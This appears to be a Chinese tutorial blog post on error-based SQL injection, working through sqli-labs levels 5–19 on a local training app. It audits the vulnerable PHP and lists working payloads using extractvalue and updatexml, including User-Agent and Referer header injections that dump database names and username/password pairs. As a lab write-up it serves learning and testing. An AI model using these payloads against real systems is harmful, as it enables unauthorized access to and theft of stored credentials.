SQL注入-中级进阶
报错注入
基本信息:报错注入是sql注入的另一分类,当常规的联合查询union因为字段数不对或页面不显示查询结果而无法使用时,报错注入往往能发挥奇效。
| 函数 | 触发报错的方式 | 示例 Payload |
|---|---|---|
updatexml() |
XPath 格式错误 | and updatexml(1, concat('~', database()), 1) |
extractvalue() |
XPath 格式错误 | and extractvalue(1, concat('~', database())) |
floor() + rand() + group by |
主键重复(duplicate entry) | and (select 1 from (select count(*), concat(database(), floor(rand(0)*2)) x from information_schema.tables group by x) a) |
一、报错函数详解
1、extractvalue()
(1)基本用法
ExtractValue() 是 MySQL 中另一个处理 XML 的函数。它用于从 XML 片段中提取文本内容,其基本语法如下:
extractvalue(XML_document, XPath_string)
- XML_document:一个合法的 XML 字符串或字段
- XPath_string:XPath 表达式,用于从 XML 中提取值
(2)核心原理
当extractvalue()的第二个参数XPath_string不合法时,MySQL就会报错,同时输出报错信息。如果攻击者有意构造payload,把想要查询的数据拼接到这个错误的 XPath 参数中,数据会随着报错信息一起输出。
2、updatexml()
(1)基本用法
updatexml()是 MySQL 中用于修改 XML 文档内容的函数,其基本语法如下:
updatexml(xml_target, xpath_expr, new_xml)
- xml_target:要被修改的原始 XML 字符串(或其片段)。
- xpath_expr:XPath 表达式,用于定位 xml_target 中要替换的节点。
- new_xml:新的 XML 片段,用来替换匹配到的节点及其内容。
(2)核心原理
当updatexml()的第二个参数xpath_expr无效时,函数将直接报错并将表达式内容输出到报错信息中,和extractvalue非常相似。
3、count+floor()+rand()+group by主键重复
这种组合形成的报错核心原理是主键重复,本质是利用MySQL,接下来我会逐个详细介绍它们。
(1)三个函数介绍
<1>floor():其作用为向下取整
select floor(5.99);

select floor(6.01);

(2)count():计算总次数
select count(*) from users; #查询users表中有多少条数据

我们可以使用Navicat验证一下:

的确有三条数据
<3>group by:将数据按照一个或多个列的值进行分组,下面我将举例说明
这是一个uers表,我们可以注意到id=1和id=4的password是一样的,我们试验一下

select password from users group by password;

我们可以从查询结果中看到,group by对数据按照password进行分组,分为了三组,而id=1和id=4分到了同一组。
(4)rand():返回0-1的一个随机浮点数,可以在括号中填入参数,同一个参数产生的结果是相同的的,如果不填参数有则是随机的。

如果在rand()的括号内添加参数,那么每次返回值就会固定。

直接回显型 (Error-Returned)
一、定义
前端直接显示完整的 SQL 错误堆栈信息。攻击者提交一次请求,就能在页面看到爆出的数据。
二、sqli-labs
1、Less-5
打开关卡,照例尝试
http://127.0.0.1/sqli-labs/Less-5/?id=1'

确认是单引号注入,尝试注释报错

发现没有出现正常回显,这里我们可以学习一下它的源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
当我们传参?id=1'--+时,+会被解析成空格,这么做是由于在 URL 中+通常被解析为空格。因为-- 注释在 SQL 中通常要求后面至少有一个空格(或换行)才能正确生效,所以--+被解析为-- ,保证了注释语法正确。SELECT * FROM users WHERE id='1'' LIMIT 0,1,这样后续的报错就会被注释掉,然后由mysql_query传递给result,再由mysql_fetch_arry传递给row,下面的if判断中如何row不为空即输出You are in...........。
看来联合注入行不通,可以尝试报错注入,payload如下:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue('1',concat('~',(select database()))) --+

成功爆破数据库名,其余步骤和联合注入大同小异,这里继续爆破表名
?id=1' and extractvalue('1',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

紧接着爆破列名
?id=1' and extractvalue('1',concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+
这里要解释一下为什么要加一个
and table_name='users',这是为了避免其他数据库同名表的影响

最后爆破字段
?id=1' and extractvalue('1',concat('~',(select group_concat(username) from users))) --+

2、Less-6
来到第六关,如法炮制,发现?id=1'不能成功,回显是

我们可以试一下双引号"闭合
http://127.0.0.1/sqli-labs/Less-6/?id=1"

发现产生报错,其余步骤与第五关别无二致。这里我们可以审一下它的源码
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
这是源码中关于SQL语句的部分,我们可以看到对于参数id,采取了双引号闭合的方式,并且在SQL语句中也使用了双引号,当我们输入id=1"时,SQL语句就会变成$sql="SELECT * FROM users WHERE id=1" LIMIT 0,1";造成双引号闭合报错,然后使用注释符--+注释报错,那就变成了$sql="SELECT * FROM users WHERE id=1" --+ LIMIT 0,1";,后面的LIMIT 0,1就会被注释掉,无法产生报错,我们输入的数据就会在id=1"之间 --+执行,例如:?id=1' and extractvalue('1',concat('~',(select database()))) --+,中间的and extractvalue('1',concat('~',(select database())))就会被服务端执行,从而爆出数据库名,也就是SQL注入的核心原理。
绕过型报错注入 (Filter Evasion Error-Based)
一、定义
核心报错函数被黑名单拦截或被转化,攻击者需使用冷门、变体或不依赖函数名的技巧。
二、sqli-labs
1、Less-17
(1)注入点分析
打开题目,发现传参方式是POST,尝试万能密码

发现被过滤了

(2)源码审计
这里我们审一下源码
<?php
// 1. 防御函数定义
function check_input($value) {
if(!empty($value)) {
$value = substr($value,0,15); // 截断长度限制为15
}
if(get_magic_quotes_gpc()) {
$value = stripslashes($value); // 去除魔术引号转义
}
if(!ctype_digit($value)) {
// 非数字则使用 mysql_real_escape_string 转义,并主动加上单引号包裹
$value = "'" . mysql_real_escape_string($value) . "'";
} else {
$value = intval($value); // 数字则强制转为整型
}
return $value;
}
// 2. 参数获取与验证
$uname = check_input($_POST['uname']);
$passwd = $_POST['passwd']; // 漏洞点:直接获取,无任何过滤!
@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";//@过滤了报错但@无法屏蔽 MySQL 数据库返回的错误。下一行的 mysql_query($sql) 如果执行失败,错误信息会留在 MySQL 连接句柄中。
$result = mysql_query($sql);
$row = mysql_fetch_row($result);
if($row) {
// 3. 密码更新与报错回显
$sql = "UPDATE users SET password = '$passwd' WHERE username='$uname'";
$result = mysql_query($sql) or die("Error: ".mysql_error()); // 漏洞点:打印错误信息
if($result) {
echo "<font color='#FFFF00'>Password Changed successfully!</font>";
}
} else {
echo "<font color='#FF0000'>Invalid username!</font>";
}
?>
将传参代码单独拿出来审计
// 对 uname 参数进行严格过滤
$uname = check_input($_POST['uname']);
// passwd 参数直接获取
$passwd = $_POST['passwd'];
// SQL 语句使用 UPDATE 更新密码
$sql = "UPDATE users SET password = '$passwd' WHERE username = '$uname'";
// 执行 SQL 语句并打印错误信息
$result = mysql_query($sql);
if (mysql_error()) {
echo "<font color='#FFFF00'>"; // 显示错误信息,这是最严重的错误点,打印报错信息会导致攻击者有机可乘
print_r(mysql_error());
echo "</font>";
}
我们可以看到对于参数uname开发者进行了check_input处理,我们再看一下是如何处理的。
function check_input($value) {
if (!empty($value)) {
// 1. 截断到15位
$value = substr($value, 0, 15);
}
// 2. 如果 magic_quotes 开启,去除多余反斜杠
if (get_magic_quotes_gpc()) {
$value = stripslashes($value);
}
// 3. 如果不是数字,使用 mysql_real_escape_string 转义
if (!ctype_digit($value)) {
$value = "'" . mysql_real_escape_string($value) . "'";
} else {
$value = intval($value);
}
return $value;
}
从函数check_input中可以看出开发者对uname进行了严格的过滤,先是对输入进行截取15位,然后又对历史遗留函数magic_quotes进行处理,最后也是最重要的就是对输入字符串进行判断处理
- 分支 A:如果是字符串(非纯数字)
!ctype_digit($value): ctype_digit() 会检查字符串中是否全部都是数字字符 (0-9)。前面加了 !,即“如果不是纯数字”。mysql_real_escape_string($value): 这是 MySQL 专属的转义函数。它比简单的 addslashes() 更安全,因为它会考虑当前数据库的字符集连接。它会转义以下字符:"'" . ... . "'": 转义完成后,函数主动在数据的左右两边拼接上单引号。
安全意义:这是极其关键的防御动作。假设用户输入 admin' #,经过转义变成 admin' #,再拼接引号变成 'admin' #'。当这个值放入 SQL 语句中时(例如 WHERE username = 'admin' #'),整个输入被严格限制在字符串字面量内,单引号无法逃逸闭合,注入彻底失败。
- 分支 B:如果是纯数字
- intval($value): 如果输入全是数字,则使用 intval() 强制将其转换为整型(整数)。
- 安全意义:数字型注入(如 1 union select...)是因为开发者没有给数字加引号导致的。这里直接用 intval() 提取整数值,任何非数字字符都会被抛弃或截断。例如输入 1 union select 1,intval 处理后只剩下 1。这从根本上杜绝了数字型注入。而且数字在 SQL 语句中不需要加引号包裹。
在这样严密的防护条件下,无法从uname下手攻击了,考虑另一个参数passwd。虽然开发者对uname进行了极其严格的过滤,但是对于passwd没有任何防护,直接使用UPDATE进行密码修改,而且还使用了mysql_error(),可以使用报错注入的方式进行破解。
(3)解题
首先需要判断是什么类型的注入,输入正确用户名:admin,尝试在密码栏输入:1',如果报错说明是单引号闭合,如果不报错说明不是单引号报错。

说明确实是单引号闭合,后续步骤和之前大同小异,这里不再赘述了。
2、Less-18
这一关和上一关有明显不同,它对两个参数都进行了严格的过滤。为了方便学习,可以在
(1)源码审计
$uagent = $_SERVER['HTTP_USER_AGENT']; // 直接取 UA,无任何过滤
$IP = $_SERVER['REMOTE_ADDR'];
$uname = check_input($_POST['uname']); // 账号被过滤
$passwd = check_input($_POST['passwd']); // 密码被过滤
$sql="SELECT users.username, users.password FROM users
WHERE users.username=$uname and users.password=$passwd ...";
$row1 = mysql_fetch_array($result1);
if($row1) { // 仅在登录成功后才执行 INSERT
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`)
VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
print_r(mysql_error()); // 关键:会回显 MySQL 报错
}
这里我们可以看到开发者虽然对账号密码都进行了过滤,但是对于user-agent采取直接提取,没有任何过滤,我们考虑使用user-agent注入。
这里需要说明一下什么是
user-agent,官方定义是:User-Agent(用户代理,简称 UA)是 HTTP 请求头中的一个字段,由浏览器或客户端在每次发起请求时主动携带,用于向服务器声明自己的软件类型、操作系统、浏览器版本、渲染引擎等身份信息。服务器据此识别访问终端,从而返回适配的内容或做统计分析。简单来说,就是一种数字身份证,告诉服务器自己的信息,方便服务器进行处理。更通俗一点:把 User-Agent 想成浏览器随身携带的"自我介绍名片":我是谁(浏览器)、我住哪(操作系统)、我能干什么(渲染引擎),服务器据此决定怎么接待你。
这里举一个例子:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36: Mozilla/5.0 —— 历史兼容标记(“我是现代浏览器”)、(Windows NT 10.0; Win64; x64) —— 系统信息(“我用的是 Windows 64位电脑”、AppleWebKit/537.36 (KHTML, like Gecko) —— 渲染引擎与历史兼容(“我的内核血统”)、Chrome/124.0.0.0 —— 真实的浏览器身份(“我是 Chrome 124版”)、Safari/537.36 —— 最后的兼容标记(“顺便,我也兼容 Safari”)。
VALUES ('$uagent', '$IP', $uname)
从这行代码中我们可以看到$uagent是被单引号闭合的,客户端输入的UA数据闭合后会被直接运行。
(2)解题
这里需要做一个小提醒,在Less-17中我们修改了密码,所以建议大家在解Less-18时需要回到
http://127.0.0.1/sqli-labs/并点击Setup/reset Database for labs,重置数据库。
首先使用BurpSuite抓包
对user-agent进行修改,我们已知是单引号闭合,在登录框输入正确账号密码(前面关卡可获得,常见 admin / admin),如果按照之前的报错注入的payload:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)--+会发生什么呢?

我们可以看到单引号闭合出现错误,无法完成闭合。

这是因为这行代码VALUES ('$uagent', '$IP', $uname)",我们修改的UA会放到'$uagent',会变成
INSERT INTO uagents (uagent, ip_address, username) VALUES ('1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)--+', '$IP', $uname)
这样做会有两个致命错误:
- 括号没有闭合:VALUES( 有一个左括号,但后面缺少了对应的右括号 )。
- 参数数量不足:INSERT 指定了 3 个列 (uagent, ip_address, username),但 VALUES 里面因为被注释,只剩下一个半拉表达式,根本无法凑齐 3 个参数对应的值。
所以为了单引号闭合且不会注释掉后续参数我们这样修改payload:
a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#这样sql语句就会变成:
INSERT INTO uagents (uagent, ip_address, username) VALUES ('a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#', '$IP', $uname)
不仅解决了参数不够的问题,还形成了单引号闭合,恶意代码成功执行。
后续步骤没有太大区别,不再过多赘述了。
| 目标 | User-Agent 头 Payload |
|---|---|
| 爆版本 | a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='# |
| 爆库 | a' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) and '1'='# |
| 爆表 | a' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) and '1'='# |
| 爆列 | a' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1) and '1'='# |
| 爆数据 | a' or updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31),0x7e),1) and '1'='# |
3、Less-19
(1)前置知识
这一步要用到Referer,它的作用是告诉服务器,当前这个请求是从哪个页面链接过来的。比如你从百度点进一个链接,Referer 可能就是https://www.baidu.com/...。这里可以拿它和上一关中的user-agent进行对比。
| 对比维度 | Referer | User-Agent |
|---|---|---|
| 核心问题 | 我从哪里来? (Where from?) | 我是谁? (Who am I?) |
| 携带内容 | 上一个页面的 URL 地址 | 客户端软件、系统、浏览器指纹信息 |
| 数据类型 | 统一资源定位符 (URL) | 描述性的自由格式字符串 |
| 主要用户 | 网站管理人员(分析流量)、后端安全程序 | 前端开发者(做兼容)、后端安全程序 |
| 隐私敏感度 | 高,可能会泄露用户浏览历史路径 | 相对低,但能组合形成浏览器指纹,追踪用户 |
| 是否可空 | 可以。直接输入网址、收藏夹打开、HTTPS 跳转到 HTTP 时,Referer 为空 | 几乎一定有,但同样可被篡改或置空 |
| 控制策略 | 受 Referrer-Policy 安全策略控制(如只发域名,不发完整路径) | 无严格策略,客户端可任意修改 |
(2)源码审计
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
对参数uname和passwd依旧是防护转义
$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd ...";$row1 = mysql_fetch_array($result1);
if($row1) { // 关键:只有在登录成功后才会执行 INSERT
// 源码变量名可能叫 $uagent,但实际取的是 HTTP_REFERER
$uagent =$_SERVER['HTTP_REFERER'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
print_r(mysql_error()); // 关键:会回显 MySQL 报错
}
对于referer没有任何过滤直接提取,且存在mysql_error()函数输出报错,采用报错注入,其闭合方式和第18关基本一致。
(3)解题步骤
使用BurpSuite进行抓包并对referer字段进行修改:

其余步骤和上一关没有太大差别。

浙公网安备 33010602011771号